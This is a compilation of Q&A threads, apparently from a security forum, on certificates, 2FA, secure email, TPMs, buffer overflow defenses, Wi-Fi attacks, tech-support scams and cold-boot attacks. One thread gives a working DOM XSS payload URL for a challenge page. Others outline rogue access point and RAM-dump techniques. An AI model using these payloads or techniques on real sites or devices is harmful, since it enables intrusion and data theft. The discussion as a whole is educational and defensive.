Public keys without the certificates There are two clients and a server. Each client generates an RSA key pair and uploads public key to the server. The server associates the public key with the user identifier that is specified during upload.

Then client A needs to share the data with client B. It asks the server for the public key of the client B. The fingerprint of the public key is presented to the user for the visual verification. It is the responsibility of the user A to decide if she trusts the public key of the user B and vice versa.

After both users trusted the public keys of each other, they can encrypt data for each other. Client A encrypts data with the public key of the client B, uploads it to the server. Client B downloads the data, and decrypts it.

Clients communicate with the server using TLS implemented by the operating system. The server authenticates clients using OAuth2 with MAC token.

Although the bigger question is, of course, if this system from this high perspective already has some security problems, the question of this post is about the certificates.

In a situation like that, when the higher goal is to provide end-to-end encryption, and one of the decisions is to make the users verify each other’s public keys, is there any benefit of having self-signed certificates in addition to just the public keys?

It is said, for example, that the self-signed certificate guarantees that somebody who generated it also has the corresponding private key. When no certificates are involved, is there a security risk of client A encrypting something with what is thinks is a public key of the client B, but not actually is a public key?

In general, self-signed certificates offer no security benefit over raw public keys (there can be convoluted situations where the self-signature provides a "proof of possession" of the corresponding private key, but this very rarely matters). Self-signed certificates can offer a usability benefit, though, in that it allows the use of certificate-based software.

For instance, in Windows systems, private keys are commonly referenced through the corresponding certificate: the user has some certificates in a "certificate store" and each such certificate may reference the corresponding private key. If you want to use the CMS format for signatures, with the .NET class System.Security.Cryptography.Pkcs.SignedCms, then you must sign with "a certificate", so something which looks like a genuine X.509 certificate must be used.

This mostly amounts to reusing the certificate encoding format (X.509) for public key storage. Conveniently, such a format includes human-readable names and validity dates; OS-provided GUI can also be used to visualize the certificate "thumbprint", i.e. a hash of the certificate (which can be used as a kind of hash of the public key). Less conveniently, the X.509 format includes a non-optional field for a signature, so there must be a sequence of bytes which at least superficially looks like a signature: the habit of using self-signatures comes from that. However, you could also store a sequence of random bytes of approximately the right size, it would also work.


How does Gmail detect if my email account is accessed from another computer? How does Gmail detect when my mail is accessed from another computer? Does it keep track of my MAC address to check whether a new device is used? I think it doesn't have anything to do with IP address.

How does Gmail detect when my mail is accessed from another computer? Does it keep track of my MAC address to check whether a new device is used? I think it doesn't have anything to do with IP address.

You can test this by logging in with a different browser on the same computer and observing the account activity details (link is at the very bottom of your gmail front page.

Detail should show a different browser at the same IP address.

If you sign out of your gmail account, invalidating the session ID, and then log in again, you will not get a notice because the device is trusted, meaning google stores data used to fingerprint your computer and browser.
My other browser above was not known or trusted so I got a 2 factor prompt when tried to use it.  Subsequent logins with that other browser did not get a notice / 2fa prompt because that browser is now trusted.  If you look at the cookies in your browser, you see many google cookies that provide this trust.

I cleared all google related cookies from my other browser and when I tried to login again, it did not recognize that browser as trusted.

If I walk down to the corner coffee shop or use a VPN, it will not look like a new device to google because the session cookie and the fingerprint data I mentioned above will be the same.
Google does not know your computer's mac address (Unless you are using google wifi).


Is phone-based two-factor authentication significantly more secure than email authentication? Phone-based authentication must be more secure than email-based, because it is more difficult to take control of a phone than an email account. Should I use phone authentication over email verification?
SMS verification shouldn't be used.

A good practice in two-factor authentication is to use an authenticator app (like Google Authenticator) as the second factor. If an attacker has access to your phone this won't help you either. But the thing with SMS as a second verification step is that it introduces additional risks pertaining to carrier security. Due to this, NIST no longer advises to use sms-based 2 factor authentication in the latest sp800-63b publication (https://pages.nist.gov/800-63-3/sp800-63b.html section 5.1.3.2. Out-of-Band Verifiers)


Sending securely attachments over email Email exchange is not a secure means of communication despite using SSL to connect to (all/most?) the email providers.
What I am not sure though, is what is a good way to send important information via email in a secure way if the recipient is not a tech person.
Would sending a link to Google Drive containing the information and giving access only to the specific emails (non gmail) qualify as a good approach?
Are there any other to consider?

The answer to this really depends on both "how secure" and "how not technical" you're looking for. I'll evaluate my suggestions on those grounds, though. In roughly descending order of security (but roughly ascending order of ease-of-use):

GPG/OpenPGP: A well-established program, and the open standard it implements (respectively), for secure storage and transfer of data (primary via email). Extremely secure when used correctly, giving nobody at all a way to access or modify the data (unlike merely sending email via TLS, where the servers can do whatever they like with the messages before forwarding them to the recipient, OpenPGP is end-to-end encrypted). Notable in that it will let you send messages in plain text, optionally with a verifiable signature, and attach encrypted (and optionally signed) attachments, all using any email system or indeed any messaging network at all. Some email clients also have built-in support. Not extraordinarily difficult to use but probably more than you want to subject a non-tech person to, and kind of inconvenient for even tech people. Difficult to scale key distribution in a fully secure way, though there are approaches (especially if you are willing to accept some risk of impersonation, or can exchange keys in person).
S/MIME: A standardized protocol for end-to-end security of email. Similar to OpenPGP, but uses the same kind of certificates as TLS for key exchange. You can often find basic certificates for free; higher-quality ones cost money and take time (to verify your identity), but they have the advantage that there's a nominally-trustworthy entity (the certificate authority you get the cert from) vouching for the validity (this makes distribution way easier). Unlike OpenPGP, must be supported by the email client; most desktop mail clients (Outlook, Thunderbird, etc.) support it but most web interfaces do not and Gmail in particular is known to fail to handle S/MIME messages even with sent an desktop mail client. If everybody is already using Outlook or similar it's perhaps less technical than OpenPGP but for general use it's probably worse.
Password-encrypted files, probably archive formats, with passphrase exchanged out-of-band. Classical ZIP encryption is garbage, but some of the more modern encryption formats for things like 7z and even modern ZIP are... possibly not perfect but probably good enough. As long as the key/passphrase can be securely exchanged out-of-band (e.g. via in-person communication), this should be quite secure enough and end-to-end protected. Pretty simple technically-speaking but you do need to ensure that the sender and all recipients have compatible software for opening and decrypting the files (most programs that handle the same formats should have compatible decryption features, and some programs like 7-Zip are cross-platform).
Find a cloud storage service (such as Google Drive, Dropbox, OneDrive, Box, etc.) that the sender and recipient(s) both have accounts with. Upload the files to that service, share them with the other account, and (if necessary) send the recipient(s) a link to the item. This is generally secure against third parties but NOT against the storage provider - most of them do not provide any end-to-end security and explicitly retain the ability to access your files if necessary (as they see it) - so it requires trusting Google or whoever. It sounds like you're already considering this option, so hopefully it's not too technical.
If you both use the same email provider, and you trust that email provider, and that email provider requires encrypted connections (the good ones all do), then you can just send the emails directly. If Alice sends an email from her Gmail account to Bob's Gmail account, it will never be sent over the unencrypted Internet. (Microsoft's email services should provide the same protection, though I know less about their protections.) Obviously this one requires the most trust assumptions, but it's not actually less secure than sharing a link to a Google Drive item with somebody, and it requires no significant technical knowledge beyond basic use of email.

Note that putting a file in a cloud storage system and then just creating a sharing link ("Anybody with the link can access the file") and emailing the link is not actually more secure than just emailing the file directly. If you both have accounts on the same service, it's strictly less secure than sharing with their account directly.
There are a ton of other options, but they're all either specific to certain contexts (like both using one of the many services that aren't primarily for file-sharing but can do it) or using things that allow easy and secure file transfer but are not email (such as Signal).


Distinguishing features of TPM from software solutions It's said that TPM is proposed to address issues that software alone cannot. To my understanding, this means TPM cannot be simulated using software. For example, as far as I know, TPM comes with a hardware-based random number generator. I think it's able to generate genuine random numbers, which is something software cannot do. Software is only able to generate pseudo-random numbers.

I believe there are more critical distinguishing features of TPM from software solutions, and understanding them is crucial to learning TPM. Could someone give a list of the most critical ones along with a brief description for each?

For now, I simply cannot get a clear mind of how TPM is so special. Is it because its root private key is exclusively for TPM-internal use and cannot be read otherwise even by its owner, which is hardly possible without hardware support?

The three principle benefits of a TPM are:

Anti-hammering
Isolation
Non-exportability

Anti-hammering is noticed when the incorrect matching credentials for a key are supplied one too many times, causing a temporary lock. The lock is released automatically after a minimum amount of time transpires. It can also be released by the admin entering a PIN unlock key.

Isolation reflects the fact that the TPM operates in a memory space that cannot be read by software or the operating system. Only limited and specifically formatted input is allowed to go into a TPM, and the response is also highly specific and limited. Isolation is beneficial to security in that it prevents monitoring or altering with internal TPM operations.

Non-exportability is a configurable quality of keys that are born on a TPM. Not all TPM-generated keys need be non-exportable; if configured to be exportable, the TPM enables a key to be exported. One benefit of non-exportability is that you can tie a key pair to a specific hardware device, effectively making that hardware required in order for the private key to be utilized.

A practical step-by-step guide for establishing an SSH connection to a server with a key pair, and with the private key safely isolated within a virtual smart card on a TPM, is here:

https://security.stackexchange.com/a/179422/68088


Are there attacks which are specific to Linux? I am currently studying cyber security and we were asked what are some specific methods to gain unauthorized access of a Linux system. On my search on the internet, I keep seeing various intrusion methods. I was thinking SQL injection, XML, PL/SQL, but I don’t know if those are specific to Windows. Any clarification will be greatly appreciated.

The attacks you talk about are on services which might be running on mswindows, linux, bsd, vms, os9, qnx...any operating system.

You seem to be confused as to the nature of a kernel (such as linux) an operating system and a configured machine. Although linux is a kernel, the term is commonly (although incorrectly) is applied to operating systems. Indeed linux usually comes bundled with a lot of applcations/servers.

If you are really only interested in kernel related vulnerabilities, then  you should be focussing your research on tcp/ip vulnerabilities and privilege escalation attacks.


Are there any decent web app security scanners that can integrate with a build server? I've spent a lot of time in TeamCity recently and the nightly code quality metrics coming from the dupe finder, FxCop and NDepend have been great.

What I'd really like to do is find a decent web app security scanner which can run against the automatically deployed sites (I'm running a nightly build and deploy to a test environment). I'd also consider static analysis if there's a decent tool out there. The only real prerequisites is that it must be able to run unattended and should output a report in HTML format so it can be surfaced through TeamCity.

Does anyone have either any experience integrating a scanner with a build server or suggestions for tools which meet the criteria?

Maybe you should give a try to Netsparker: http://www.mavitunasecurity.com/netsparker/. It has automated scans, report generation, logging. Provides CLI.


wireless security - Authentication and Association I am trying to learn wireless security a bit more technically but resources out there on the net are so confusing. Here is my understanding.

There are two types of Authentication:

1) Open System Authentication

2) Shared Key Authentication

Both WEP and WPA protocols have the above two Authentications? Is my question even right?

What it means exactly when they say I am authenticated but not connected to Access Points?

What privileges I have when I am authenticated and What privileges I have when I am connected?
Getting authenticated means my packets wont be dropped by AP?what is it?

Can you point me to any good resource links that can help me in understanding these things?

WPA and WEP have little in common security wise. WPA does not allow Open System Authentication nor Shared Key Access. You cannot be authenticated and not connected to an access point. You associate, then you authenticate.

There's a decent answer to a similar question here: https://security.stackexchange.com/a/160365/200347

Please note that whist WEP and WPA clients use the same passphrase to authenticate to the AP, in the WPA case this is used to negotiate per-client (rotating) encryption keys, whereas on a WEP system, every client uses the same encryption key.


What are the main differences between a Metasploit vulnerability/exploit attack and a "R.A.T." attack? I explain myself: To attack with a vulnerability & exploit it with Metasploit, you have first to find a vulnerability listed. Then once you have it, you set up the whole thing and end up with a link with the malicious file in it (to be clicked on).

So my question is: why someone would bother doing this, if he can attain the same results by getting control with a R.A.T. (downloadable through a link to be clicked on, too).
With a RAT, you wouldn't have to bother searching for proper exploit.
And in both cases, you have to escape the anti-virus.
Can someone explain me this please ?

I think you are confusing a couple of different ideas. Metasploit helps you leverage vulnerabilities in order to craft exploits. Those exploits are used to deliver payloads. The resulting code can be something the user needs to install, or Metasploit can allow you to deliver the exploit directly without the user being involved (depending on the vulnerability).

The payload sent by the exploit can be many things, one of which is a RAT (called Meterpreter in Metasploit). But it can also be other kinds of payloads.

The scenario you describe for a RAT does not require an exploit or a vulnerability: you suggest the user just clicks on the malware and runs it. For that, you do not need the resources of Metasploit at all, although Metasploit could be helpful by providing the Meterpreter and the control hub.


GraphQL endpoint security testing I am working with a team who is developing a mobile app for which they are using GraphQL.
So as part of performing security testing it, they only shared the graphql endpoint and nothing else.
Not even the app UI nor any credentials.
Based on my basic understanding of GraphQL I was able to get the schema and see some of the queries and their responses.
But I am unable to understand what kind of security checks can be performed on the graphql endpoint without any other details apart from the endpoint URL itself.
Just wanted to know is there something that I am missing here and is it safe to say that security testing cannot be performed without looking at the App UI and having a basic credentials.
Please help.
Thank you.

The fact that you can run a schema query is a first red flag, especially if this is a production environment endpoint.
Being able to run schema queries gives an attacker everything they need to explore the API, and if there are any API methods/queries/mutations that can be misused then the schema query will make it easier for them to find any potential weaknesses.
Once you can run a graphql schema query, the next step is to look for queries/methods that can be misused by an attacker, and then go from there.


Does encrypting the message protect it against length extension attacks Assuming the following HMAC is used : HMACK(M) = Hash(K||M) = H which is "secret-prefix" hashed function. M is the plaintext message , K is the secret key used

The ciphertext is generated as follow : Ciphertext = EK(M||H) where EK is a encryption scheme which uses the secret Key K.

I have read on Wikipedia that a length extension attacks works on hashes where the secret key length and message is known. In this case as I have encrypted the message , I would like to confirm that it is no longer possible to conduct a length extension attack as M is unknown because I have encrypted it.

I am also like to know  if the above scheme used to authenticate messages is susceptible to any other attacks ??

This does several things wrong.   First, as Rory mentions in the comments, Don't Roll Your Own.  Use HMAC, not an arbitrary hash function.   This will actually protect you against length extension attacks.

Second, you propose to encrypt your pseudo-MAC along with the message. Don't do this either.  This is called MAC-then-encrypt, and it leaves you potentially susceptible to attacks on the padding like the POODLE attack that just killed SSLv3.   The current standard is encrypt-then-MAC, and you need to include both the IV and the ciphertext of the message in the MAC to ensure that there can be no tampering.

So, you can either encrypt-then-MAC with HMAC, or better yet, just use an authenticated encryption mode that handles the implementation for you, like AES-GCM, and you don't have to worry about whether you've done it securely or not, because someone else has already handled those details for you.


Safely changing text links to HTML anchors I'm trying to change text links to real anchors. So for example I want to change http://example.com to http://example.com.

Since this is a user given string, should I take special precautions to things like XSS (for example removing all < and >) or is this something I shouldn't care about in this situation? Anything other I need to keep in mind when building such a functionality?

If you're only trying to convert links, the safest option is to use sanitization and a whitelist.  Basically a list of allowed values, which prevents anything you don't specify from being passed.  Always use a reputable sanitization function and whitelist, I would not recommend building your own unless you know what you're doing.  See a page like the following for reference (make sure all sanitization/validation is happening on the server side, of course):

http://jsoup.org/cookbook/cleaning-html/whitelist-sanitizer

I think the prospect of making your users use a markup language is a good suggestion for tag injected XSS, but it doesn't really address the issue of URI concat'd XSS.

I find the previous answerer's response of essentially saying that you should only prepare for simple attacks because otherwise you're "going down the rabbit hole" is reckless and naive, why don't we just put a simple lock on bank vaults in that case?


Bypass va_randomize_space and stack-protector Is a program compiled with the GCC -fstack-protector option and running in a Linux environment with the va_randomize_space kernel variable set to 1, totally protected against buffer overflow attacks?

If not, what is the common technique to produce a buffer overflow attack?

The attack is not stack overflow, but buffer overflow (the buffer being possibly located on the stack). The stack is a RAM area which applications use to store local variables and to organize the calling and returning from functions. A stack overflow is when the application code has gone way too recursive, and runs out of stack space. Since the kernel keeps unmapped pages at both ends of the stack space, stack overflow and stack underflow trigger traps, converted by the kernel to SIGSEGV, implying ruthless termination of the offending application. This is a bug, but not often a security vulnerability.

A buffer overflow is when the application code is induced into writing into a buffer (a given area in RAM) more bytes than can possibly fit in said buffer, thus writing some of the bytes "elsewhere", on whatever was in RAM immediately after of immediately before the buffer. When the buffer is on the stack, what lies along the buffer is other local variables, and return addresses. A return address is written on a stack slot when a function is entered: it is the address where execution should continue when the function returns (i.e. it points to the instruction in the caller's code which immediately follows the call opcode). By overwriting a return address (with a buffer overflow), the attacker will try to make code jump elsewhere.

In the classic times of buffer overflows, the attackers used the easy path: overflow of a buffer with attacker-chosen data; the data itself contains some code that the attacker would like to see executed (e.g. code which launches a shell); the overflow is used to overwrite the return address so that it points precisely to that data in the buffer; when the function returns, it follows that altered return address and jumps to the attacker's code.

A first protection measure is to mark the stack, and possibly most of the rest of the RAM, as non-executable. This is called Data Execution Prevention. It is about preventing the CPU from interpreting the data bytes (provided by the attacker) as code which could be executed. The hardware can make this distinction (on old 32-bit x86 CPU, it was not completely easy to do, but still possible).

In reaction, attackers began to use code which is already there in RAM, instead of inserting their own code chunks, e.g. by jumping into some function in the standard library (the standard library has many functions, some of which being quite convenient for the attacker). The standard library contains, by definition, code, so it is marked "executable" and DEP cannot do anything against that.

In reaction, defenders have devised Address Space Layout Randomization: this is what va_randomize_space activates. This shuffles around dynamically-loaded libraries in RAM, so that the attacker cannot predict where in RAM the standard library is -- if he cannot predict the location of his target code, he will have a hard time jumping to it.

In reaction, attackers have began to target the main executable itself, or the dynamic linker. Both are at a fixed position in the address space. It so happens that most code chunks can be used by the attacker to do his nefarious schemes ("Return-Oriented Programming" has been coined for that). We are still waiting for the next step in that attacker-defender dance.

Canaries try to defeat the classical exploits of buffer overflows by preventing the use of an altered return address. That's what the stack-protector option of GCC does (it does a few other things, but that's its main job). A special randomized value (the "canary") is written in the stack just before the return address slot; when the function returns, it first checks that the special value is still there. Presumably, if an overflow had reached the return address slow, it would also have written over the canary, modifying it; the code will see that, and abort, killing the application instead of jumping madly through the address space.

The canary makes any good only if the sole attacker's target is the return address of the current function; it also assumes that the overflow is not an underflow, and that it consists in a continuous sequence of bytes, and that the attacker "does not get lucky".

The core ideas in all these systems are that:

They do not prevent overflows. They just try to make the consequences of such overflows less problematic. Canaries try to get some early notice of an overflow; ASLR is more about scrambling around to avoid the attacker's control jump.
They concentrate on attack paths. DEP, ASLR, canaries... are not generic protection systems, but countermeasures to specific exploits seen in the wild. Instead of defeating attackers, they more or less train attackers into more creativity.
They deal only with code path alteration, when the attacker tries to make the CPU jump to another code location. They do nothing about data alteration. With an overflow on the stack, you can also alter local variables. Depending on the application code, you may do other things, such as, for instance, modify a file descriptor so that the contents of a private file are not written to the said file but to another file or a socket or logs.
Canaries are only about exploiting an overflow (not an underflow) of a buffer on the stack. But there are also buffers in other parts of RAM (e.g. the heap).

The real protection against buffer overflow is not to allow the data to overflow. ASLR, canaries... cope with some specific consequences, but that's like countering a flood by using a mop. To disallow buffer overflows, two ways:

Be a very good programmer, and don't make bugs.
Use a programming language which enforces explicit bounds checks on all array accesses. C#, Java, Javascript, OCaml, even Visual Basic... the choice is large. In fact, the non-checking behaviour of C and C++ is a defect of these languages; it is not about laying blame (the absence of bound-checking is quite understandable historically; C was designed for machines below the 1 MHz range) but rather pointing out that, at some point, it can be worthwhile to stop using flintstones, and switch to metal tools.


Can I use Metasploit to demo penetration testong on Zigbee or Smart meter? Does Metasploit have functionality to demo penetration testing on Smart Meter or Zigbee?

The Short answer is Yes, however, like most IoT Devices, you would not be exploiting hardware-specific vulnerabilities, you would likely need to focus on services running on those devices.

For example if a IoT device connects to a remote server to store captured data into a Database, your could easily research current vulnerabilities that apply to that Database Software.

In order to find out what Services are running on a device connected to an IP-Based Network, you would need to simply run a IP/Port/Service scan while connected to the same network. After a scan is successful, then you may use MetaSploit to execute a payload against the Network or Device.


VPN tunnel in VPN tunnel I'm wondering if there is an easy way to establish VPN tunnels through other VPN tunnels to get onion routing like properties (sender anonymity). Since VPN builds a tunnel, it should be easy to set up another tunnel in this tunnel to another VPN endpoint, but I have found no documentation on such a setup. It would be interesting to extend this to more than two hops...

Why?

Tor nodes are public and those IPs are often blocked and reveal that you are using Tor. There are many open VPN nodes and I hope not all of them are malicious, hence getting similar properties like Tor.

Does anybody know of such a setup? Preferably using linux ;)

Four simple-ish solutions I can think of are:

proxychains would work if you don't really need a VPN; or your other applications can talk SOCKS
stunnel needs a fair bit of setup
OpenVPN needs a lot of setup
ssh using -L or -D is trivial by comparison


Self sign SSL certificate for my mobile app? My mobile (iOS and Android) connects to my server via a REST API over HTTP. I would like that HTTP to be secure, so HTTPS seems to be the obvious choice. All of the questions about self signing SSL certificates warn about how users of the a website won't trust you if you self-sign and they don't know you. But in this case, I don't need my users to trust me, but rather the app has to trust me. Are there any problems with this approach or should I just fork out the money to one of the CAs so I don't have to worry about it?

For your particular use case, a self signed cert would be fine.

As you control the app, you do not have to use certificates recognized by browsers, which is the key point of a certificated by a trusted CA.

Functionally, there is no difference in security. See: Does Self-signed certificate differ from CA from a security point of view?


Is the Karma attack still relevant today? I tried replicating the Karma attack and it does not work on my iphone5s and galaxy s6. Even when the phones send out directed probe requests and the Rouge AP responds with the appropriate probe responses, the phones just ignore them and refuse to connect. I have also heard that most of the devices have already been patched to defend against this attack since this attack was introduced more than 10 years ago.

This makes me wonder, are there any devices out there that are still vulnerable to this attack? Or has this attack become a thing of the past? (To be clear, I am talking about the attack where client devices automatically respond to probe responses and associate with the Rouge AP, not where the user mistakens the Rogue AP for the legitimate one and chooses to join it manually.)

It's still very much relevant.  I took a KARMA device with me to lunch today and 76 different devices attempted to connect to it.  Those are actual connection attempts, and not just probes.  I have MAC address whitelisting enabled, so nothing will successfully connect, but I'll know when they try.

Most OS vendors appear to have addressed the most obvious vulnerability where they'll probe-and-connect upon bootup or turning on wireless.  However, any current OS can be made vulnerable to KARMA if it's ever connected to an open network that doesn't broadcast its SSID.  Alternatively, if an attacker is in radio range, there are a number of ways that a user can be kicked off of an unencrypted network that will cause them to join the KARMA attacker's network instead.

Out of the 76 devices that attempted to connect to me, I have no way of knowing which are running old indeed-vulnerable operating systems, or which have been configured to be KARMA-vulnerable, or if there was another attacker or radio anomaly nearby.


Determine a Web Application's version of AngularJS For reconnaissance, is there a definitive way to determine the version of AngularJS that a web application uses.

Other tools, such as wappalyzer and builtwith show the frameworks, but not the version.

You can get the version number from the JS file itself.

Header of the current angular.js:

/**
 * @license AngularJS v1.0.6
 * (c) 2010-2012 Google, Inc. http://angularjs.org
 * License: MIT
 */

You can search for this file using the console of your browser as well.


Is there a way to make the browser remove the login-password from it's memory immediately, like Chrome seems to do on accounts.google.com? I did some testing, and found that a memory dump of Chrome doesn't hold the password of gmail.com/Google after logging in to that site (the login happens on accounts.google.com).

(My System is Windows 10 64bit Professional, Chrome 60).

I can find the passwords of all other sites I've tested. Also when I do the same in Firefox, the gmail.com password will be stored in the memory dump.
This is a Chrome-specific behaviour.

I've tried a lot of things to prevent the password from being stored in a memory-dump. Even when I hash the password in the password-field before submitting the form, the original (un-hashed) password will be contained in the memory dump.
I tried with autocomplete="off", I tried sending the password through a 'hidden' field, and an invisible text field. (So that the browser won't attempt to store the password in the built-in password-manager).

I've also - of course - tried with deactivated password-storage, cleared the cache, experimented with Cache-Control/Pragma/Expires -headers, and what not. And I know that the Gmail-website does indeed send the unhashed/original password in the request to the server. So there is no client-side method involved to encrypt/hash/obfuscate the password.

So my question is: whatever gmail.com (accounts.google.com) uses so that the password is not contained in a memory dump, would it be possible to do the same for my own website?
Or is that possibly a hardcoded, gmail.com-specific feature of the Chrome-browser?

Could it be coincidence, because that site causes a lot of read-/write-activity on the memory, so that the Garbage Collector cleans up faster, or something like that?

From what I can guess you really only have two options here:

Option 1 : Work from Google

Start by very closely observing Javascript/network behaviour. As somebody mentioned in the comments, working from a total clone could yield good results. However, personally I really would not look forward to doing that kind of hardcore debugging.

Option 2 : Some javascript that (could) help

Anything but sending the password in the POST. For example here are all valid (untested) solutions:

Try replacing every character as it is typed (for instance encrypting the orginal key with a stream cipher with a session-specific key - then it can be recovered on the other side)
Try simply capturing key input and simulating it appearing into the textbox (that way nothing at all gets cached - I doubt keystrokes are cached :D )
No guarantee this will work: but try just manipulating the input contents right before post (but do keep in mind that something simple like a Ceaser Shift really will not work, because a smart enough attacker WILL just reverse that)

I have a strong suspicion the 2nd approach in the above list is the only thing that will work (capturing key input), because it is likely the inputs on the textboxes are still kept in memory (I have no idea how Google handles this - but I have strong faith in the 2nd option on the list).

Perhaps later today/tomorrow I will post a minimal example with tests


Are all security requirements expected to be testable? Many approaches exist to define security requirements. To keep it simple, i would say to define a security requirement, one need to model the threat encountered when building up misuse cases for specific use cases being worked out. Still, at the end, some security requirements are at architectural level while others are at code level.

Most of what I can think of as security requirements at any of these levels seem to have test cases (whether automated or not). Still, in some examples: like the need to stop an intentional back door, for me, it is worth being formulated in a security requirement.

I can't think of a test case for it though! intentional is pretty difficult to proof using a test case! Thus my question: isn't this worth being a security requirement?
and now to the generalized version of the question: Would not having a test case for a security requirement be considered to be an indicator that I have an improper security requirement?

Absolutely not.  Security is in general not something that can be verified through testing.  As Dijkstra once wrote, "Program testing can be used to show the presence of bugs, but never to show their absence!"  This is especially true for computer security.

There are a whole bunch of misconceptions embedded in the idea that requirements need to be testable:

Wishful thinking.  Gee, wouldn't it be nice if all of the requirements I have were easily checkable using some black-box tests?  Wouldn't it be nice if I had a pony?  Sorry, that's not how reality works.  Suck it up and deal with it.

I'll put it another way.  Have you heard the story of the late-night drunk who lost his keys while leaving the bar on his way to his car?  Bystander asks him why he is looking under the lamppost 100 ft away, and the drunk says "that's where the light is".  People get like that.  We have to remember that requirements analysis is not about what's easy to check.  Rather, it's about what we need.  It is about the customer's needs.  That's why they are called requirements, not achievements.
Misplaced expectations.  Most developers spend most of their life building features.  If you want to check that the feature is present and appears to work, testing is a great way to do that.  Consequently, many developers get used to thinking of testing as the way you go about all kinds of quality assurance tasks.  But that's narrow-minded, blinkered thinking.

Security is not a feature.  Features are about ensuring that good things happen when the user asks for them to.  Security is about ensuring that bad things never happen when the user wasn't expecting them.  You can't verify security with feature testing.

Put another way, security is about ensuring there are no surprises, when there is a malicious adversary out there poking at your system in unexpected ways.  Testing is about poking at the system in expected ways, and consequently doesn't tell us very much about what happens when the system gets poked at by an adversary.
Thinking that testing is all there is to quality assurance.  Ensuring that a system will be secure is in some ways a quality assurance problem.  When it comes to security assurance, testing often isn't the right tool for the job.

Security demands different methods.  Some of the methods that are most appropriate to checking whether a system is secure and meets its security requirements tend to involve: threat analysis, architectural security analysis, security code review, application of static analysis tools, fuzzing, and penetration testing.  Folks who aren't familiar with the security domain tend to be unaware of these methods, or don't realize the important role they play in evaluating the security of a complex software system.

Gary McGraw likes to call penetration testing a "badness-ometer".  It's a meter with two extremes: on one end, "Your Security is Really Bad", and on the other hand you get "Don't Know".  It can never tell you your security is good; it can only deliver bad news, but the absence of bad news does not mean you have good security.

There are some security requirements that can be verified through testing: primarily, "security features".  But security is about a lot more than just security features.  Software assurance is fundamentally different from security features.

Example: One plausible requirement is "the system should contain a way to reset my password".  That's a feature, and one that can be reasonably checked with testing.  On the other hand, another plausible requirement is "the password reset feature should not endanger security".  That's a security assurance requirement, and no way you're going to be able to check it with testing.

So, no, security requirements aren't necessarily testable.  There are plenty of security requirements that cannot be easily checked for compliance using testing; other methods are needed.

P.S. Last word: You must read Bruce Schneier's essay on security assurance.  It's exactly on target.  Schneier points out that we often think about security the wrong way: we start out by assuming the system is secure, until proven wrong.  Schneier points out that this is backwards.  He suggests that if you want your system to be secure, a better way is to start by assuming it is insecure, until proven otherwise.  (And, I'll interject, testing ain't gonna be terribly useful at proving a system is secure.  Just a fact of life)


How to perform DOM XSS? I have been doing this challenge and I came across a super hard level that I think its all about DOM XSS.

I know it because I don't get any response from the server side and everything I insert won't reflect back because of brutal escaping.

Here is the source code of the page:

your cool xss

Any help please?

I think you need to get better with your javascript  first.

To answer your question, the below GET request is what you need to send

http://example.com/test.html?p=%3Cscript%3Ealert(123)%3C%2Fscript%3E

Explanation

In the code

location.href.substr(location.href.indexOf('?')+1).split("&")

Here,you are taking the substring of the GET patameters in URL.

And then you are copying each of the GET parameter in to queryDict object as queryDict.key=value.

 forEach( function(item) {
  queryDict[item.split("=")[0]] = item.split("=")[1]

This assigns queryDict.p  the value of %3Cscript%3Ealert(123)%3C%2Fscript%3E which is equalent to encodeURIComponent('<script>alert(123)</script>').

And finally

b = document.write('<b>' + decodeURIComponent(queryDict.p) + '</b>');

decodes the value of queryDict.p and injects it into DOM as a Javascript


How to reverse engineer w32/malware!gemini? How would you go about reverse engineering malware W32/Malware!Gemini. Recently I found it installed on my computer and would like to trace where the data is being sent.

Well there's a slight difference between the two.

The best way to try and determine where the data is being sent is to monitor and trace all of your outbound traffic.

If you'd like to reverse engineer it to possibly learn more about it and if you are missing anything as far as what it is doing or what it is sending there'd be a slightly different path.

Monitoring a clean and controlled system, using packet sniffers in conjunction with IDS(s), trying to disassemble any binaries you find that it adds, debugging/looking at the strings/hexediting as best you can should garner you plenty more information about it than you currently know.


4 Hackers on my network! Called microsoft hotline because my ASUS laptop got an unknown virus. It would not allow me to access network until i call. The agent i talked to assisted me through the phone. He was able to control my laptop. Is that normal? but anyways he told me that i have 4 hackers on the network and 30,000 events happening. i dont really understand. all i want to do is get this fix but i dont feel safe using any methods online.
Did he hack me idk?
please help im new to this

I just want information and maybe steps on how i can maybe prevent this from happening again.

Sorry to say that, but that self-proclaimed Microsoft employee was (most likely) a scammer,
and is responsible for your unknown virus too.

There are not 4 hackers or anything. Having 4 hackers who "care" for your private computer personally at the same time is very unlikely, and even if, no caller on the phone could tell you this and just fix it. It's just that person you talked to (and maybe others who work with him/her, but not independent people).

What you should do now is getting some help outside of phone and internet. Maybe you know someone personally who is good enough with computers, else visit a repair-shop-something, to save what's to save and wipe/reinstall everything.

And never trust such call stuff again. If you ever get some software requiring to call and/or pay someone to be able to work with your computer normally again, don't do it, but get offline help.


Ease of Getting Data On Self-Encrypting Drive From Screen-Locked Windows 7/8 Computer Hypothetical: a Windows 7 or 8 computer has a self-encrypting hard drive. It is stolen with the power on, but with the Windows lockscreen on. Are there easy off-the-shelf ways to access the data on the drive? All of the password recovery mechanisms I see for Windows 7/8 appear to require a reboot, which would drop the decryption key from RAM. I'm not concerned with intelligence-agency stuff so much as what would be available to the average petty criminal.

It simply requires a entry level of electronics knowledge to do this. The average 'petty criminal' wouldn't care since they would simply sell the stolen hardware (also they most likely would not care in the slightest). Your danger would be if your average house-thief was effectively being sub-contracted by someone with a little bit more knowledge/experience and the intent to commit identity fraud or steal your data.

You RAM is going to need to be 'refreshed' every once in a while ( and by that I mean nano-seconds. ) when this occurs the ram is read and written to, and the pins are visible right there.

If DDR ram is cold/frozen then the data contained within a ram chip can actually survive not being refreshed for more than long enough for the ram chip to be removed, and dumped.

Once a full ram-dump occurs then ram can be replaced with a simulator and the machine can be instantly returned to its previous state with the ability to even disable the lock screen ( or alternatively just grab the HDD Decryption keys out.

There are also attacks which can be used to intercept data inline via attaching debuggers ( a lot of Nintendo 3DS / Wii / WiiU research used those techniques for sniffing live ram. )

Your best bet against the first attack I described would be to migrate to a machine which has its ram soldered directly onto its motherboard ( I know for a fact the macbook air does, as do the majority of video game consoles. )


Why do I need to check the issuer/subject of a certificate rather than just the thumbprint? I'm following Microsoft's example here - https://docs.microsoft.com/en-us/azure/app-service/app-service-web-configure-tls-mutual-auth#aspnet-sample
When validating the certificate, they check that the Issuer and Subject are both correct before checking the thumbprint. As someone with only a shallow knowledge of certificates, my understanding is that the thumbprint is a hash of the whole certificate which can't be forged/duplicated?
So why can't we get away with only checking the thumbprint?

Because it is way more restrictive...
